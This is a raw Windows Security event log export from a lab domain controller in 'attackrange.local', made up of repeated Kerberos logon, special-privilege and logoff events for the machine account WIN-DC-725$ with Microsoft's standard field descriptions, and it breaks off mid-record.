- Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE550E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64294 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249573 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE550E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249572 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE54AD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249571 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE54AD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64293 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249570 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE54AD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249569 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5447 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249568 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE5447 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64292 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249567 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5447 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249566 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE53E6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249565 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE53E6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64291 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249564 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE53E6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249587 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE56B0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249586 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE56B0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64298 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249585 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE56B0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249584 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE564F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249583 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE564F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64297 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249582 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE564F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249581 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE55E9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249580 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE55E9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64296 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249579 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE55E9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249578 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5588 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249577 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE5588 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64295 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249576 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5588 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249599 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5846 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249598 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE5846 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64302 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249597 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5846 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249596 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE57E5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249595 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE57E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64301 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249594 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE57E5 - -Privileges: 